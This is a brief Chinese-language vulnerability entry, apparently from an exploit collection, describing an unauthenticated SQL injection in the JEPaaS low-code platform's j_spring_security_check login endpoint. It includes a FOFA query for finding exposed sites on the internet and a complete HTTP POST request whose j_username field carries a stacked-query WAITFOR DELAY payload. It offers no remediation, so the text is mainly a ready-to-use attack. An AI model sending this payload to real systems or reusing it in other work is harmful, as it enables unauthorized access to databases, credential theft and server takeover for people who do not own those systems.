J29-1JEPaaS-低代码平台-SQL

漏洞描述：

JEPaaS 低代码平台 j_spring_security_check 接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片：

fofa语法：

body="/saas/saasYhAction!sendRandom.action"

漏洞复现：

延时5秒 payload：

```
POST /j_spring_security_check HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

j_username=');DECLARE @x CHAR(9);SET @x=0x303a303a35;WAITFOR DELAY @x--
```

效果图：